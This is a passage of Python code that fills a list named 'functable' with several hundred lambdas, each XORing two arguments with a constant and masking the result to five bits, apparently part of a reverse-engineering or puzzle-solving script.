functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
